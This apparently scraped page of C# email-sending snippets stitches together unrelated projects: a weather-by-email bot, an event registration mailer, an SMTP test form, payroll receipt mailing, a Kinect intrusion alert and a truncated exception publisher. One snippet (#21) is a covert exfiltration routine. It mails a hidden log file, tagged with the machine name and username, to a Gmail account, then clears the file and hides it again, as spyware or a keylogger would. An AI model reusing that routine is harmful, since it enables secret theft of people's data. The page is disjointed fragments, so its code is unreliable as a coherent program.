                    File.AppendAllText(@"C:\Users\430\Documents\Visual Studio 2015\Projects\Weather\Weather\bin\Debug\Base.txt", "Sender: " + x.From + "resuested:  " + x.Subject + "weather in " + x.Body.Text + " at " + datetime + "\n", Encoding.UTF8);
                    if (x.Subject == "current")
                    {
                        Call = "http://api.openweathermap.org/data/2.5/weather?q=" + x.Body.Text + "&units=metric&mode=xml&appid=" + APIKEY;
                        HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Call);
                        request.Method = "GET";
                        HttpWebResponse response       = (HttpWebResponse)request.GetResponse();
                        Stream          responseStream = response.GetResponseStream();
                        XDocument       doc            = XDocument.Load(responseStream);
                        message = doc.Root.Element("city").Attribute("name").Value + " " + doc.Root.Element("temperature").Attribute("value").Value;
                        doc.Save(datetime + ".xml");
                    }

                    if (x.Subject == "forecast")
                    {
                        Call = "http://api.openweathermap.org/data/2.5/forecast?q=" + x.Body.Text + "&units=metric&mode=xml&appid=" + APIKEY;
                        HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Call);
                        request.Method = "GET";
                        HttpWebResponse response       = (HttpWebResponse)request.GetResponse();
                        Stream          responseStream = response.GetResponseStream();
                        XDocument       doc            = XDocument.Load(responseStream);
                        doc.Save(datetime + ".xml");

                        message = doc.Root.Element("location").Element("name").Value + "\n";
                        foreach (XElement element in doc.Root.Descendants("time"))  //создает массив из всех time'ов; descendants - потомки
                        {
                            message +=
                                element.Attribute("from").Value + " " +
                                element.Attribute("to") + " " + "\n" +
                                element.Element("temperature").Attribute("value") + "\n" + "\n";
                        }
                    }

                    if (x.Subject == "forecastdaily")
                    {
                        Call = "http://api.openweathermap.org/data/2.5/forecast/daily?q=" + x.Body.Text + "&units=metric&mode=xml&cnt=16&appid=" + APIKEY;
                        HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Call);
                        request.Method = "GET";
                        HttpWebResponse response       = (HttpWebResponse)request.GetResponse();
                        Stream          responseStream = response.GetResponseStream();
                        XDocument       doc            = XDocument.Load(responseStream);
                        doc.Save(datetime + ".xml");
                        message = doc.Root.Element("location").Element("name").Value + "\n";
                        foreach (XElement element in doc.Root.Descendants("time"))
                        {
                            message +=
                                element.Attribute("day").Value + " " +
                                element.Element("temperature").Attribute("day") + "\n";
                        }
                    }
                    System.Net.Mail.Attachment add = new System.Net.Mail.Attachment(datetime + ".xml");
                    mail.Attachments.Add(add);
                    mail.Body = message;
                    client.Send(mail);
                    mail.Dispose();
                    x.Seen = true;
                    add.Dispose();
                    File.Delete(datetime + ".xml");
                }
                else
                {
                    File.AppendAllText(@"C:\Users\430\Documents\Visual Studio 2015\Projects\Weather\Weather\bin\Debug\Base.txt", "Sender: " + x.From + "acces denied " + " at " + datetime + "\n", Encoding.UTF8);
                    message   = "Нет доступа к сервису";
                    mail.Body = message;
                    client.Send(mail);
                    mail.Dispose();
                    x.Seen = true;
                }
            }
            //file.Close();
        }
        public void EmailWebServiceWithAttachment(string To, string From, string Subject, string Body, byte[] Attachment, string AttachmentName)
        {
            SmtpClient smtpclient = new SmtpClient { Host = smtpServer };
            MailMessage message = GetMailMessage(To, From, Subject, Body);

            TemporaryFile tempFile = new TemporaryFile("", AttachmentName);
            FileStream objfilestream = new FileStream(tempFile.FilePath, FileMode.Create, FileAccess.ReadWrite);
            using (BinaryWriter writer = new BinaryWriter(objfilestream))
            {
                writer.Write(Attachment);
            }

            Attachment a = new Attachment(tempFile.FilePath);
            message.Attachments.Add(a);
            smtpclient.Send(message);

            a.Dispose();
            tempFile.Dispose();
            smtpclient.Dispose();
        }
Beispiel #20
0
        public static bool SendMailVal_xHibitor(string[] content)
        {
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress("*****@*****.**");

            var fromAddress = "*****@*****.**";
            mail.To.Add("*****@*****.**");
            //mail.To.Add("*****@*****.**");
            const string fromPassword = "******";
            System.Net.NetworkCredential cred = new System.Net.NetworkCredential(fromAddress, fromPassword);
            mail.Subject = "NEW GUEST REGISTERED ONLINE : AARA TRADESHOW 2015";
            string location = "7310 Park Heights Avenue,Baltimore MD 21208";
            string filepath = MakeHoursEvent(mail, new DateTime(2015, 6, 28, 2, 0, 0), new DateTime(2015, 6, 28, 6, 0, 0), location);
            mail.IsBodyHtml = true;
            string body = string.Empty;
            //body = content[3];
            body = "<!DOCTYPE html>" +
                    "<html xmlns='http://www.w3.org/1999/xhtml'>" +
                    "<head>" +
                        "<title></title>" +
                    "</head>" +
                    "<body>" +
                        "<div style = 'border-top:3px solid #22BCE5'>&nbsp;</div>" +
                        "<span style = 'font-family:Verdana;font-size:10pt'>" +
                            "<b>A Guest Registered Online !!</b>,<br /><br />" +
                            "Name : <b>{Name}</b><br />" +
                            "Phone : <b>{Phone}</b><br />"  +
                            "Email : <b>{Email}</b><br />" +
                            "<br /><br />" +
                            "Thank you <br />" +
                            "Registration Manager <br />" +
                            "Saitec Solutions Inc.<br /><br />" +
                            "The information contained in this email is intended solely for the addressee to inform a new registration at the event and may be confidential and legally privileged. In the event you are not the intended recipient of this email or have obtained unauthorized access, please notify at " +
                            "<a href='mailto:[email protected]'>[email protected]</a>" +
                            " and destroy the email.  You are strictly prohibited from reading it and from disclosing or using its contents in any manner, and doing so may result in criminal and/or civil liability.   Email transmission and attachments cannot be guaranteed to be secure or error-free. Saitec Solutions (USA), Inc. does not accept legal responsibility for any errors, omissions, security issues or viruses associated with your receipt of this email.<br />" +
                            "Event Registration Powered By Saitec Solutions (USA) Inc." +

                        "</span>" +
                    "</body>" +
                    "</html>" ;

            body = body.Replace("{Name}", content[0]);
            body = body.Replace("{Phone}", content[1]);
            body = body.Replace("{Email}", content[2]);
            mail.Body = body;

            // Passing values to smtp object
            var smtp = new System.Net.Mail.SmtpClient();
            {
                smtp.Host = "smtp.gmail.com";
                smtp.Port = 587;
                smtp.EnableSsl = true;
                smtp.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
                smtp.Credentials = new NetworkCredential(fromAddress, fromPassword);
                smtp.Timeout = 20000;
            }
            //attach the file
            Attachment attach = new Attachment(filepath);
            mail.Attachments.Add(attach);

            try
            {
                smtp.Send(mail);
                smtp.Dispose();
                attach.Dispose();
                mail.Dispose();
                return true;
            }
            catch (Exception ex)
            {
                throw new Exception(ex.Message);
            }
        }
Beispiel #21
0
        public static void OnTimedEvent(object source, EventArgs e)
        {
            // TODO: This section needs to be reworked to test for a situation where the firewall denies our output.
            /*if (CanConnectToGmail())
            {
                Console.WriteLine("success");
            }
            else
            {
                return;
            }*/

            // If there's nothing to send.... don't do it
            if (new FileInfo(path).Length == 0)
            {
                Console.WriteLine("Nothing to send - aborting email message [{0}]", DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt"));
                return;
            }

            // The following gmail login attempt will be denied by default.
            // Go to security settings at the followig link https://www.google.com/settings/security/lesssecureapps and enable less secure apps
            // for email to work

            // The username and password are in a public class called, you guessed it, Password
            // In the class just add the following:
            //   public const string username = "******";
            //   public const string password = "******";
            // *Make sure to add the class file the gitignore file, otherwise :(

            const string emailAddress = Password.username;
            const string emailPassword = Password.password;

            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
            msg.To.Add(emailAddress);
            msg.From = new MailAddress(emailAddress, emailAddress, System.Text.Encoding.UTF8);
            msg.Subject = "LOG [Computer:" + Environment.MachineName + "] [Username:"******"]";
            msg.SubjectEncoding = System.Text.Encoding.UTF8;

            System.IO.StreamReader logfileContents = new System.IO.StreamReader(Program.path);
            string body = logfileContents.ReadToEnd();
            logfileContents.Close();
            msg.Body = body;
            //msg.Body = "Please view the attachment for details";

            msg.BodyEncoding = System.Text.Encoding.UTF8;
            msg.IsBodyHtml = false;
            msg.Priority = MailPriority.High;

            SmtpClient client = new SmtpClient();
            //Network Credentials for Gmail
            client.Credentials = new System.Net.NetworkCredential(emailAddress, emailPassword);
            //TODO: Check for open ports here. Port 25, 465, or 587 may be blocked.
            client.Port = 25;
            client.Host = "smtp.gmail.com";
            client.EnableSsl = true;
            Attachment data = new Attachment(Program.path);
            // Set the attachment name as log-computername-username-dateandtime.txt
            data.Name = "log-" + Environment.MachineName + "-" + Environment.UserName + "-" + Program.timeNow.ToString("yyyyMMdd-HHmmss") + ".txt";
            msg.Attachments.Add(data);

            try
            {
                client.Send(msg);
                failed = 0;
            }
            catch (Exception f)
            {
                data.Dispose();
                failed = 1;
                throw new Exception("Mail.Send: " + f.Message);
            }

            data.Dispose();

            if (failed == 0)
            {
                FileAttributes attributes = File.GetAttributes(path);

                // Check if the log file is hidden
                if ((attributes & FileAttributes.Hidden) == FileAttributes.Hidden)
                {
                    // Remove hidden attribute from file - Can not overwrite the file otherwise.
                    attributes = RemoveAttribute(attributes, FileAttributes.Hidden);
                    File.SetAttributes(path, attributes);
                    Console.WriteLine("The {0} file is no longer hidden.", path);
                    File.WriteAllText(Program.path, ""); //overwrite the file
                    Console.WriteLine("The {0} file has been overwritten.", path);
                    File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden);
                    Console.WriteLine("The {0} file is now hidden.", path);
                }
                else
                {
                    File.WriteAllText(Program.path, ""); //overwrite the file
                    Console.WriteLine("The {0} file has been overwritten.", path);
                    // Let's try to make the file hidden
                    File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden);
                    Console.WriteLine("The {0} file is now hidden,",path);
                }
            }

            failed = 0;
        }
Beispiel #22
0
        /// <summary>
        /// This method takes the input from the form, creates a mail message and sends it to the smtp server
        /// </summary>
        private void SendEmail()
        {
            // make sure we have values in user, password and To
            if (ValidateForm() == false)
            {
                return;
            }

            // create mail, smtp and mailaddress objects
            MailMessage mail = new MailMessage();
            SmtpClient smtp = new SmtpClient();
            MailAddressCollection mailAddrCol = new MailAddressCollection();

            try
            {
                // set the From email address information
                mail.From = new MailAddress(txtBoxEmailAddress.Text);

                // set the To email address information
                mailAddrCol.Clear();
                _logger.Log("Adding To addresses: " + txtBoxTo.Text);
                mailAddrCol.Add(txtBoxTo.Text);
                MessageUtilities.AddSmtpToMailAddressCollection(mail, mailAddrCol, MessageUtilities.addressType.To);

                // check for Cc and Bcc, which can be empty so we only need to add when the textbox contains a value
                if (txtBoxCC.Text.Trim() != "")
                {
                    mailAddrCol.Clear();
                    _logger.Log("Adding Cc addresses: " + txtBoxCC.Text);
                    mailAddrCol.Add(txtBoxCC.Text);
                    MessageUtilities.AddSmtpToMailAddressCollection(mail, mailAddrCol, MessageUtilities.addressType.Cc);
                }

                if (txtBoxBCC.Text.Trim() != "")
                {
                    mailAddrCol.Clear();
                    _logger.Log("Adding Bcc addresses: " + txtBoxBCC.Text);
                    mailAddrCol.Add(txtBoxBCC.Text);
                    MessageUtilities.AddSmtpToMailAddressCollection(mail, mailAddrCol, MessageUtilities.addressType.Bcc);
                }

                // set encoding for message
                if (Properties.Settings.Default.BodyEncoding != "")
                {
                    mail.BodyEncoding = MessageUtilities.GetEncodingValue(Properties.Settings.Default.BodyEncoding);
                }
                if (Properties.Settings.Default.SubjectEncoding != "")
                {
                    mail.SubjectEncoding = MessageUtilities.GetEncodingValue(Properties.Settings.Default.SubjectEncoding);
                }
                if (Properties.Settings.Default.HeaderEncoding != "")
                {
                    mail.HeadersEncoding = MessageUtilities.GetEncodingValue(Properties.Settings.Default.HeaderEncoding);
                }

                // set priority for the message
                switch (Properties.Settings.Default.MsgPriority)
                {
                    case "High":
                        mail.Priority = MailPriority.High;
                        break;
                    case "Low":
                        mail.Priority = MailPriority.Low;
                        break;
                    default:
                        mail.Priority = MailPriority.Normal;
                        break;
                }

                // add HTML AltView
                if (Properties.Settings.Default.AltViewHtml != "")
                {
                    ContentType ctHtml = new ContentType("text/html");
                    htmlView = AlternateView.CreateAlternateViewFromString(Properties.Settings.Default.AltViewHtml, ctHtml);

                    // add inline attachments / linked resource
                    if (inlineAttachmentsTable.Rows.Count > 0)
                    {
                        foreach (DataRow rowInl in inlineAttachmentsTable.Rows)
                        {
                            LinkedResource lr = new LinkedResource(rowInl.ItemArray[0].ToString());
                            lr.ContentId = rowInl.ItemArray[1].ToString();
                            lr.ContentType.MediaType = rowInl.ItemArray[2].ToString();
                            htmlView.LinkedResources.Add(lr);
                            lr.Dispose();
                        }
                    }

                    // set transfer encoding
                    htmlView.TransferEncoding = MessageUtilities.GetTransferEncoding(Properties.Settings.Default.htmlBodyTransferEncoding);
                    mail.AlternateViews.Add(htmlView);
                }

                // add Plain Text AltView
                if (Properties.Settings.Default.AltViewPlain != "")
                {
                    ContentType ctPlain = new ContentType("text/plain");
                    plainView = AlternateView.CreateAlternateViewFromString(Properties.Settings.Default.AltViewPlain, ctPlain);
                    plainView.TransferEncoding = MessageUtilities.GetTransferEncoding(Properties.Settings.Default.plainBodyTransferEncoding);
                    mail.AlternateViews.Add(plainView);
                }

                // add vCal AltView
                if (Properties.Settings.Default.AltViewCal != "")
                {
                    ContentType ctCal = new ContentType("text/calendar");
                    ctCal.Parameters.Add("method", "REQUEST");
                    ctCal.Parameters.Add("name", "meeting.ics");
                    calView = AlternateView.CreateAlternateViewFromString(Properties.Settings.Default.AltViewCal, ctCal);
                    calView.TransferEncoding = MessageUtilities.GetTransferEncoding(Properties.Settings.Default.vCalBodyTransferEncoding);
                    mail.AlternateViews.Add(calView);
                }

                // add custom headers
                foreach (DataGridViewRow rowHdr in dGridHeaders.Rows)
                {
                    if (rowHdr.Cells[0].Value != null)
                    {
                        mail.Headers.Add(rowHdr.Cells[0].Value.ToString(), rowHdr.Cells[1].Value.ToString());
                    }
                }

                // add attachements
                foreach (DataGridViewRow rowAtt in dGridAttachments.Rows)
                {
                    if (rowAtt.Cells[0].Value != null)
                    {
                        Attachment data = new Attachment(rowAtt.Cells[0].Value.ToString(), FileUtilities.GetContentType(rowAtt.Cells[1].Value.ToString()));
                        if (rowAtt.Cells[4].Value.ToString() == "True")
                        {
                            data.ContentDisposition.Inline = true;
                            data.ContentDisposition.DispositionType = DispositionTypeNames.Inline;
                            data.ContentId = rowAtt.Cells[3].Value.ToString();
                            Properties.Settings.Default.BodyHtml = true;
                        }
                        else
                        {
                            data.ContentDisposition.Inline = false;
                            data.ContentDisposition.DispositionType = DispositionTypeNames.Attachment;
                        }
                        mail.Attachments.Add(data);
                        data.Dispose();
                    }
                }

                // add read receipt
                if (Properties.Settings.Default.ReadRcpt == true)
                {
                    mail.Headers.Add("Disposition-Notification-To", txtBoxEmailAddress.Text);
                }

                // set the content
                mail.Subject = txtBoxSubject.Text;
                msgSubject = txtBoxSubject.Text;
                mail.Body = richTxtBody.Text;
                mail.IsBodyHtml = Properties.Settings.Default.BodyHtml;

                // add delivery notifications
                if (Properties.Settings.Default.DelNotifOnFailure == true)
                {
                    mail.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure;
                }

                if (Properties.Settings.Default.DelNotifOnSuccess == true)
                {
                    mail.DeliveryNotificationOptions = DeliveryNotificationOptions.OnSuccess;
                }

                // check for credentials
                string sUser = txtBoxEmailAddress.Text.Trim();
                string sPassword = mskPassword.Text.Trim();
                string sDomain = txtBoxDomain.Text.Trim();

                if (sUser.Length != 0)
                {
                    if (sDomain.Length != 0)
                    {
                        smtp.Credentials = new NetworkCredential(sUser, sPassword, sDomain);
                    }
                    else
                    {
                        smtp.Credentials = new NetworkCredential(sUser, sPassword);
                    }
                }

                // send by pickup folder?
                if (rdoSendByPickupFolder.Checked)
                {
                    if (this.chkBoxSpecificPickupFolder.Checked)
                    {
                        if (Directory.Exists(txtPickupFolder.Text))
                        {
                            smtp.DeliveryMethod = SmtpDeliveryMethod.SpecifiedPickupDirectory;
                            smtp.PickupDirectoryLocation = txtPickupFolder.Text;
                        }
                        else
                        {
                            throw new DirectoryNotFoundException(@"The specified directory """ + txtPickupFolder.Text + @""" does not exist.");
                        }
                    }
                    else
                    {
                        smtp.DeliveryMethod = SmtpDeliveryMethod.PickupDirectoryFromIis;
                    }
                }

                // smtp client setup
                smtp.EnableSsl = chkEnableSSL.Checked;
                smtp.Port = Int32.Parse(cboPort.Text.Trim());
                smtp.Host = cboServer.Text;
                smtp.Timeout = Properties.Settings.Default.SendSyncTimeout;

                // send email
                smtp.Send(mail);
            }
            catch (SmtpException se)
            {
                txtBoxErrorLog.Clear();
                noErrFound = false;
                if (se.StatusCode == SmtpStatusCode.MailboxBusy || se.StatusCode == SmtpStatusCode.MailboxUnavailable)
                {
                    _logger.Log("Delivery failed - retrying in 5 seconds.");
                    System.Threading.Thread.Sleep(5000);
                    smtp.Send(mail);
                }
                else
                {
                    _logger.Log("Error: " + se.Message);
                    _logger.Log("StackTrace: " + se.StackTrace);
                    _logger.Log("Status Code: " + se.StatusCode);
                    _logger.Log("Description:" + MessageUtilities.GetSmtpStatusCodeDescription(se.StatusCode.ToString()));
                }
            }
            catch (InvalidOperationException ioe)
            {
                // invalid smtp address used
                txtBoxErrorLog.Clear();
                noErrFound = false;
                _logger.Log("Error: " + ioe.Message);
                _logger.Log("StackTrace: " + ioe.StackTrace);
            }
            catch (FormatException fe)
            {
                // invalid smtp address used
                txtBoxErrorLog.Clear();
                noErrFound = false;
                _logger.Log("Error: " + fe.Message);
                _logger.Log("StackTrace: " + fe.StackTrace);
            }
            catch (Exception ex)
            {
                txtBoxErrorLog.Clear();
                noErrFound = false;
                _logger.Log("Error: " + ex.Message);
                _logger.Log("StackTrace: " + ex.StackTrace);
            }
            finally
            {
                // log success
                if (formValidated == true && noErrFound == true)
                {
                    _logger.Log("Message subject = " + msgSubject);
                    _logger.Log("Message send = SUCCESS");
                }

                // cleanup resources
                mail.Dispose();
                mail = null;
                smtp.Dispose();
                smtp = null;

                // reset variables
                formValidated = false;
                noErrFound = true;
                inlineAttachmentsTable.Clear();
                hdrName = null;
                hdrValue = null;
                msgSubject = null;
            }
        }
        private void workerEnvio_DoWork(object sender, DoWorkEventArgs e)
        {
            int existeNullCodeQR = 0;

            cnx = new SqlConnection(cdn);
            cmd = new SqlCommand();
            cmd.Connection = cnx;

            CalculoNomina.Core.NominaHelper nh = new CalculoNomina.Core.NominaHelper();
            nh.Command = cmd;

            workerEnvio.ReportProgress(0, "Generando códigos QR.");

            try
            {
                cnx.Open();
                existeNullCodeQR = nh.existeNullQR(GLOBALES.IDEMPRESA, DateTime.Parse(fecha).Date, DateTime.Parse(fechafin).Date);
                cnx.Close();
            }
            catch (Exception error)
            {
                MessageBox.Show("Error: Al obtener existencia de nulos Code QR." + error.Message, "Error");
                cnx.Dispose();
                return;
            }

            if (existeNullCodeQR != 0)
            {
                List<CalculoNomina.Core.CodigoBidimensional> lstQR = new List<CalculoNomina.Core.CodigoBidimensional>();
                try
                {
                    cnx.Open();
                    lstQR = nh.obtenerListaQr(GLOBALES.IDEMPRESA, DateTime.Parse(fecha).Date, DateTime.Parse(fechafin).Date);
                    cnx.Close();
                }
                catch (Exception error)
                {
                    MessageBox.Show("Error: Al obtener el listado de los XML." + error.Message, "Error");
                    cnx.Dispose();
                    return;
                }

                string codigoQR = "";
                string[] valores = null;
                string numero = "";
                string vEntero = "";
                string vDecimal = "";

                for (int i = 0; i < lstQR.Count; i++)
                {
                    numero = lstQR[i].tt.ToString();
                    valores = numero.Split('.');
                    vEntero = valores[0];
                    vDecimal = valores[1];
                    codigoQR = string.Format("?re={0}&rr={1}&tt={2}.{3}&id={4}", lstQR[i].re, lstQR[i].rr,
                        vEntero.PadLeft(10, '0'), vDecimal.PadRight(6, '0'), lstQR[i].uuid);
                    var qrEncoder = new QrEncoder(ErrorCorrectionLevel.H);
                    var qrCode = qrEncoder.Encode(codigoQR);
                    var renderer = new GraphicsRenderer(new FixedModuleSize(2, QuietZoneModules.Two), Brushes.Black, Brushes.White);

                    using (var stream = new FileStream(lstQR[i].uuid + ".png", FileMode.Create))
                        renderer.WriteToStream(qrCode.Matrix, ImageFormat.Png, stream);

                    Bitmap bmp = new Bitmap(lstQR[i].uuid + ".png");
                    Byte[] qr = GLOBALES.IMAGEN_BYTES(bmp);
                    bmp.Dispose();
                    File.Delete(lstQR[i].uuid + ".png");
                    try
                    {
                        cnx.Open();
                        nh.actualizaXml(GLOBALES.IDEMPRESA, DateTime.Parse(fecha).Date, DateTime.Parse(fechafin).Date, lstQR[i].idtrabajador, qr);
                        cnx.Close();
                    }
                    catch (Exception)
                    {
                        MessageBox.Show("Error: Al actualizar el código QR.", "Error");
                        cnx.Dispose();
                        return;
                    }
                }
            }

            int existeRecibo = 0;
            if (fecha != "")
            {
                for (int i = 0; i < dgvEmpleados.Rows.Count; i++)
                {

                    try
                    {
                        cnx.Open();
                        existeRecibo = (int)nh.existeXMLTrabajador(GLOBALES.IDEMPRESA, int.Parse(dgvEmpleados.Rows[i].Cells["idtrabajador"].Value.ToString()),
                            DateTime.Parse(fecha).Date);
                        cnx.Close();
                    }
                    catch (Exception)
                    {
                        MessageBox.Show("Error: Al obtener existencia del XML", "Error");
                        cnx.Dispose();
                        return;
                    }

                    if (existeRecibo != 0)
                    {
                        dsReportes.NominaRecibosDataTable dtImpresionNomina = new dsReportes.NominaRecibosDataTable();
                        SqlDataAdapter daImpresionNomina = new SqlDataAdapter();
                        cmd.CommandText = "exec stp_rptNominaImpresionTrabajador @idempresa, @fechainicio, @tiponomina, @idtrabajador, @periodo";
                        cmd.Parameters.Clear();
                        cmd.Parameters.AddWithValue("idempresa", GLOBALES.IDEMPRESA);
                        cmd.Parameters.AddWithValue("fechainicio", DateTime.Parse(fecha).Date);
                        cmd.Parameters.AddWithValue("tiponomina", tipoNomina);
                        cmd.Parameters.AddWithValue("idtrabajador", int.Parse(dgvEmpleados.Rows[i].Cells["idtrabajador"].Value.ToString()));
                        cmd.Parameters.AddWithValue("periodo", periodo);
                        cmd.CommandTimeout = 300;
                        daImpresionNomina.SelectCommand = cmd;
                        daImpresionNomina.Fill(dtImpresionNomina);

                        ReportDataSource rd = new ReportDataSource();
                        rd.Value = dtImpresionNomina;
                        rd.Name = "dsNominaRecibo";

                        Visor.LocalReport.DataSources.Clear();
                        Visor.LocalReport.DataSources.Add(rd);

                        Visor.LocalReport.ReportEmbeddedResource = "rptNominaRecibos.rdlc";
                        Visor.LocalReport.ReportPath = @"rptNominaRecibos.rdlc";

                        Warning[] warnings;
                        string[] streamids;
                        string mimeType;
                        string encoding;
                        string extension;

                        byte[] bytes = Visor.LocalReport.Render("PDF", null, out mimeType, out encoding, out extension, out streamids, out warnings);

                        if (!Directory.Exists(ruta + DateTime.Parse(fecha).ToString("yyyyMMdd") + "_" + GLOBALES.IDEMPRESA.ToString()))
                            Directory.CreateDirectory(ruta + DateTime.Parse(fecha).ToString("yyyyMMdd") + "_" + GLOBALES.IDEMPRESA.ToString());

                        using (FileStream fs = new FileStream(string.Format(@"{0}\{1}.{2}",
                            ruta + DateTime.Parse(fecha).ToString("yyyyMMdd") + "_" + GLOBALES.IDEMPRESA.ToString(),
                            dgvEmpleados.Rows[i].Cells["nombrecompleto"].Value.ToString() + "_" + DateTime.Parse(fecha).ToString("yyyyMMdd"),
                            "pdf"), FileMode.Create))
                        {
                            fs.Write(bytes, 0, bytes.Length);
                            fs.Flush();
                            fs.Close();
                            fs.Dispose();
                        }

                        List<CalculoNomina.Core.XmlCabecera> lstXml = new List<CalculoNomina.Core.XmlCabecera>();
                        try
                        {
                            cnx.Open();
                            lstXml = nh.obtenerXmlTrabajador(GLOBALES.IDEMPRESA, int.Parse(dgvEmpleados.Rows[i].Cells["idtrabajador"].Value.ToString()),
                                DateTime.Parse(fecha).Date);
                            cnx.Close();
                        }
                        catch (Exception)
                        {
                            MessageBox.Show("Error: Al obtener el XML del Trabajador", "Error");
                            cnx.Dispose();
                            return;
                        }

                        using (StreamWriter sw = new StreamWriter(ruta + DateTime.Parse(fecha).ToString("yyyyMMdd") + "_" + GLOBALES.IDEMPRESA.ToString() + "\\" + dgvEmpleados.Rows[i].Cells["nombrecompleto"].Value.ToString() + "_" + DateTime.Parse(fecha).ToString("yyyyMMdd") + ".xml"))
                        {
                            sw.WriteLine(lstXml[0].xml);
                        }
                        workerEnvio.ReportProgress(i, "Recibo generado.");
                    }
                    else
                    {
                        workerEnvio.ReportProgress(i, "Recibo no existe.");
                    }
                }

                try
                {
                    using (ZipFile zip = new ZipFile())
                    {
                        if (File.Exists(ruta + "RecibosNomina_" + DateTime.Parse(fecha).ToString("yyyyMMdd") + "_" + GLOBALES.IDEMPRESA + ".zip"))
                            File.Delete(ruta + "RecibosNomina_" + DateTime.Parse(fecha).ToString("yyyyMMdd") + "_" + GLOBALES.IDEMPRESA + ".zip");
                        zip.AddDirectory(ruta + DateTime.Parse(fecha).ToString("yyyyMMdd") + "_" + GLOBALES.IDEMPRESA.ToString() + "\\");
                        zip.Save(ruta + "RecibosNomina_" + DateTime.Parse(fecha).ToString("yyyyMMdd") + "_" + GLOBALES.IDEMPRESA + ".zip");
                    }
                }
                catch (Exception)
                {
                    MessageBox.Show("Error: Al crear el archivo comprimido.", "Error");
                }

                MailMessage email = new MailMessage();
                SmtpClient smtp = new SmtpClient();
                Attachment comprimido = new Attachment(ruta + "RecibosNomina_" + DateTime.Parse(fecha).ToString("yyyyMMdd") + "_" + GLOBALES.IDEMPRESA + ".zip");
                email.IsBodyHtml = true;
                email.From = new MailAddress(correoEnvio, "Recibos electrónicos de nómina");
                email.To.Add(txtCorreoElectronico.Text);
                email.Subject = "RecibosNomina_" + DateTime.Parse(fecha).ToString("yyyyMMdd");
                email.Body = "Correo automatico enviado por el sistema de administración de nómina. \r\n \r\n No responder.";
                email.Priority = MailPriority.Normal;
                email.Attachments.Add(comprimido);
                smtp.Host = servidorEnvio;
                smtp.Port = puertoEnvio;
                smtp.EnableSsl = usaSSL;

                smtp.Credentials = new NetworkCredential(correoEnvio, passwordEnvio);
                try
                {
                    workerEnvio.ReportProgress(0, "Enviando recibos de nómina");
                    smtp.Send(email);
                    smtp.Dispose();
                    comprimido.Dispose();
                }
                catch (Exception msg)
                {
                    MessageBox.Show("Error al enviar el correo: " + msg.Message, "Error");
                }
            }
        }
Beispiel #24
0
        public void SendAlert_DoWork(object sender, DoWorkEventArgs e)
        {
            byte[] pixeldata = new byte[AlertFrame.PixelDataLength];
            AlertFrame.CopyPixelDataTo(pixeldata);
            Bitmap bitmapImage = ImageToBitmap(pixeldata, AlertFrame.Width, AlertFrame.Height);

            ImageConverter ic = new ImageConverter();

            Byte[]       ba        = (Byte[])ic.ConvertTo(bitmapImage, typeof(Byte[]));
            MemoryStream memStream = new MemoryStream(ba);     //new one
            //bitmapImage.Save(memStream, ImageFormat.Jpeg);
            ContentType contentType = new ContentType();

            contentType.MediaType = MediaTypeNames.Image.Jpeg;
            contentType.Name      = "AlertImage";
            Resume.Set();

            if (SendAlertTestBool == true)
            {
                try
                {
                    MailMessage mail       = new MailMessage();
                    SmtpClient  SmtpServer = new SmtpClient(smtpURL);
                    SmtpServer.Timeout = 10000;
                    mail.From          = new MailAddress(emailSender);
                    mail.To.Add(emailRecipient);
                    mail.Subject = "Kinect Security Alert";
                    mail.Body    = "Alert, break in detected.";

                    System.Net.Mail.Attachment attachment;
                    attachment = new System.Net.Mail.Attachment(memStream, contentType);
                    mail.Attachments.Add(attachment);

                    SmtpServer.Port        = portNum;
                    SmtpServer.Credentials = new System.Net.NetworkCredential(emailUsername, emailPassword);
                    SmtpServer.EnableSsl   = true;


                    SmtpServer.Send(mail);

                    attachment.Dispose();
                    mail.Dispose();
                    SmtpServer.Dispose();
                    MessageBox.Show("Alert Message Sent");
                }
                catch (Exception ex)
                {
                    MailMessage lmail       = new MailMessage();
                    SmtpClient  lSmtpServer = new SmtpClient(smtpURL);

                    lmail.From = new MailAddress(emailSender);
                    lmail.To.Add(emailRecipient);
                    lmail.Subject = "Kinect Security Alert";
                    lmail.Body    = "Alert, break in detected.";

                    System.Net.Mail.Attachment lattachment;
                    lattachment = new System.Net.Mail.Attachment(memStream, contentType);
                    lmail.Attachments.Add(lattachment);
                    lSmtpServer.Port                    = portNum;
                    lSmtpServer.Credentials             = new System.Net.NetworkCredential(emailUsername, emailPassword);
                    lSmtpServer.DeliveryMethod          = SmtpDeliveryMethod.SpecifiedPickupDirectory;
                    lSmtpServer.PickupDirectoryLocation = @"C:\users\Jason\Desktop";
                    lSmtpServer.Send(lmail);

                    lattachment.Dispose();
                    lmail.Dispose();
                    lSmtpServer.Dispose();
                    MessageBox.Show("Cannot send message: " + ex.Message + " Message saved locally instead");
                }
                SendAlertTestBool = false;

                ba = null;
                Dispose();
            }
        }
        // Provide implementation of the IPublishException interface
        // This contains the single Publish method.
        void IExceptionPublisher.Publish(Exception exception, NameValueCollection AdditionalInfo, NameValueCollection ConfigSettings)
        {
            // Load Config values if they are provided.
            if (ConfigSettings != null)
            {
                if (ConfigSettings["fileName"] != null &&
                    ConfigSettings["fileName"].Length > 0)
                {
                    m_LogName = ConfigSettings["fileName"];
                }
                if (ConfigSettings["operatorMail"] != null &&
                    ConfigSettings["operatorMail"].Length > 0)
                {
                    m_OpMail = ConfigSettings["operatorMail"];
                }
            }
            // Create StringBuilder to maintain publishing information.
            StringBuilder strInfo = new StringBuilder();

            // Record the contents of the AdditionalInfo collection.
            if (AdditionalInfo != null)
            {
                // Record General information.
                strInfo.AppendFormat("{0}Información General {0}", Environment.NewLine);
                strInfo.AppendFormat("{0}Info adicional:", Environment.NewLine);
                foreach (string i in AdditionalInfo)
                {
                    if (i != "ExceptionManager.AppDomainName")
                    {
                        strInfo.AppendFormat("{0}{1}: {2}", Environment.NewLine, i, AdditionalInfo.Get(i));
                    }
                    else
                    {
                        //Agrego version
                        try
                        {
                            string name = AdditionalInfo.Get(3);
                            name = name.Replace(".exe", "");
                            name = name.Replace(".dll", "");
                            name = name.Replace(".vshost", "");
